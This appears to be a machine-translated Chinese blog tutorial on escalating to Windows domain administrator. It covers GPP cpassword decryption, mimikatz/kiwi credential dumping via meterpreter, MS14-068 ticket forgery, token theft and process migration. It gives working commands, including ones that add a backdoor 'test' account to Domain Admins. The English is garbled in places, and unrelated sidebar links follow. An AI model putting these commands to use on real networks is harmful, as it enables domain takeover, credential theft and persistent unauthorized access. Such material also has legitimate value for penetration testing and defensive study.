当前位置:网站首页>Several ways to obtain domain administrator privileges
Several ways to obtain domain administrator privileges
2022-06-25 20:19:00 【Bypass--】
Without considering the direct attack on domain control , How to quickly obtain domain administrator privileges ?
in the majority of cases , An attacker can locate the server where the domain administrator logs in , Exploit the vulnerability to obtain the server system jurisdiction , Find the domain managed account 、 Process or authentication token , To obtain domain administrator privileges . This article shares several common ways to obtain domain administrator privileges .
The first 1 Ways of planting : utilize GPP Vulnerability to gain domain management rights
SYSVOL Is a shared folder within the domain , Used to store login scripts 、 Group policy scripts, etc . When the domain administrator changes the password through group policy , Introduce the user password into the script , It could lead to security problems .
(1) visit SYSVOL Shared folders , Search contains “cpassword” Of XML file , obtain AES Encrypted password .

(2) Use kali Self contained gpp-decrypt To crack , So as to obtain the domain account password , Directly log in to the domain administrator account to obtain access rights .

The first 2 Ways of planting : Get the plaintext login password of the server
Use kiwi Module needs system jurisdiction , So before using this module, we need to change the current MSF Medium shell Upgrade to system. mention system There are two ways , First, the current permissions are administrator user , Second, use other means to raise the right first administrator user . then administrator Users can directly getsystem To system jurisdiction .
meterpreter > getuid
Server username: BYPASS-E97BA3FC\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMload kiwi modular
load kiwiList plaintext passwords in the system
creds_all
The first 3 Ways of planting : Use MS14-068 Raise rights for vulnerabilities
MS14068 It is a privilege escalation vulnerability that enables ordinary users to raise their rights to domain control privileges . An attacker can achieve the purpose of upgrading privileges by constructing a specific request packet .
Attack process :
First step : utilize MS14-068 Forgery generation TGT
MS14-068.exe -u [email protected] -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d dc.test.com
The second step : utilize mimikatz The tool will get TGT The ticket is written to memory , Create cache Certificate
mimikatz#kerberos::ptc [email protected]
The third step : Get domain administrator rights . Create a test Account and join the domain administrator group , Thus, you can log in to the domain control host for operation at any time .
PsExec.exe \\dc cmd.exe
// add to test user
net user test abc123! /add /domain
// hold test Add users to the domain Administrators group
net group "domain admins" test /add /domain
// View domain Administrators
net group "domain admins" /domainThe first 4 Ways of planting : Stealing domain administrator token
When a domain control account logs in to the server, it can use token simulation to infiltrate to obtain domain control permission .
1、 Invade the server where the domain administrator resides , Steal the token of the domain administrator , To control the entire domain .

2、 Directly in meterpreter shell Add domain administrator on
add_user test abc123! -h Domain controlled IP Address
add_group_user "Domain Admins" test -h Domain control IP Address The first 5 Ways of planting : Process migration
The server logged in by the domain administrator has been invaded , Migrate the process to the process run by the domain administrator , You can obtain domain administrator privileges .
1、 Get the list of domain Administrators
net group "Domain Admins" /domain
2、 utilize ps Find domain administrator (TEST\bypass) Running process , And then shell The process migrates to the process run by the domain administrator , After success, you will be granted domain administrator privileges . As shown in the figure below :

3、 Input shell Command acquisition OS shell, Use on this machine Windows Command to add a new domain administrator :
// add to test user
net user test [email protected] /add /domain
// hold test Add users to the domain Administrators group
net group "domain admins" test /add /domain4、 Successfully added the domain administrator account test.

边栏推荐
- II Traits (extractors)
- Force wechat page font size to be 100%
- Jsonp processing non homologous
- Arduino ide + esp8266+mqtt subscribe to publish temperature and humidity information
- PAT B1091
- NMS reduction box
- Browser performance optimization (19)
- 在打新債開戶證券安全嗎?低傭金靠譜嗎
- 4.ypthon function foundation
- Wechat applet swiper simple local picture display appears large blank
猜你喜欢

<C>. tic-tac-toe

Mqtt+ardunio+esp8266 development (excluding mqtt server deployment)

Number of wechat applet custom input boxes

App battery historian master

Huawei fast application access advertising service development guide

Swin UNET reading notes

Automatic fitting when the applet reaches the top

PAT B1086

Thymleaf template configuration analysis

2.14(Knight Moves)
随机推荐
手机开户股票安全吗,买股票在哪开户?
Applet multi image to Base64 upload
Leetcode daily question - 27 Remove element (simple)
Install and initialize MySQL (under Windows)
<C>. Figure guessing game
Arduino ide + esp8266+mqtt subscribe to publish temperature and humidity information
PAT B1051
Is it safe to open an account with a mobile phone? Where can I open an account to buy shares?
2.6 finding the sum of the first n terms of factorial sequence
Wechat applet connects to the server to display mqtt data information
201604-4 test title: Game (BFS search maze)
Swin UNET reading notes
<C>. function
One picture to achieve the selected effect
Leetcode daily question - 28 Implement strstr() (simple)
2.4 finding the sum of the first n terms of the interleaved sequence
Redis is a loser. If you don't understand the usage specification, you will spoil it
JS asynchronism (I. asynchronous concept, basic use of web worker)
在打新债开户证券安全吗?低佣金靠谱吗
PAT B1081